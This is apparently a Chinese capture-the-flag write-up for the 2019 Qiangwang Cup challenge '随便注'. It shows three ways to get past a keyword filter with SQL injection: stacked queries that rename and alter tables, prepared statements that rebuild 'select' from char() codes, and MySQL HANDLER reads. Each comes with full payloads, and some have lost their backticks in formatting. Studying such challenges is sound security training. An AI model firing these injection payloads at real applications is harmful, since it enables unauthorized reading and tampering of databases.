[强网杯 2019]随便注

- 单引号闭合
- 然后尝试联合注入
1’ union select 1,databases()#返回过滤提示。return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

第一种方式:堆叠注入
1';show databases# 看数据库

1';show tables#看表

1';show columns from words;# 或 1';desc words;#看表words的字段

1’;show columns from 1919810931114514# 或1’;desc 1919810931114514;# 看表1919810931114514的字段。

* 到这里,就发现,没办法继续下去。
* 可以看见,表`words`有两列,列名为 “id” 和 “data” 而表`1919810931114514`只有一列 “flag” 。
* 可以发现,它是通过 “id” 来索引的,通过输入1时的回显和展示表`words`的内容可以判断。
* 没有过滤 `alter` 和 `rename`。可以修改表名和列名。
### 思路
1. 我们把表`words`改名为其它
2. 然后把表`1919810931114514`改名为`words`
3. 再在表`1919810931114514`插入一列`id`
4. 当我们再次查询时,查询的就是`flag` 所在的表,且可以被展示出来
### payload
-
1’;rename table
wordstowords1;rename table1919810931114514towords;alter tablewordschangeflagidvarchar(100) character set utf8 collate utf8_general_ci not NULL;# -
rename table
wordstowords1; 修改表 words 改名为其它, -
rename table
1919810931114514towords;修改表 1919810931114514 改名为 words -
alter table
wordschangeflagidvarchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id -
或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id
-
然后再 1’ or 1=1# ,展示flag
## 第二种方式:sql语句预处理
- 在sql语句中,@ 用于定义变量。
- concat(),函数用于字符串拼接。
- char(),将ASCII码转换为对应的字符。
- 定义预处理语句 PREPARE stmt_name FROM preparable_stmt;
- 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] …];
- 删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;
### payload
-
1’;SET @sql = concat(char(115,101,108,101,99,116), " * from
1919810931114514"); PREPARE yuchuli from @sql; EXECUTE yuchuli;- 因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
- 然后用concat()拼接成一句完整的sql语句。
- 先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。
## 第三种方式:通过handler读取数据
### payload
1’;handler 1919810931114514 open;handler 1919810931114514 read first#
* mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
- HANDLER tbl_name OPEN [ [AS] alias]
- HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)[ WHERE where_condition ] [LIMIT … ]
- HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT … ]
- HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT … ]
- HANDLER tbl_name CLOSE
文章详细介绍了在遇到SQL注入场景下,如何通过堆叠注入、SQL语句预处理以及Handler语句来绕过过滤限制,访问和操作数据库中的数据,包括改表名、改列名以及读取数据等策略。
3599

被折叠的 条评论
为什么被折叠?



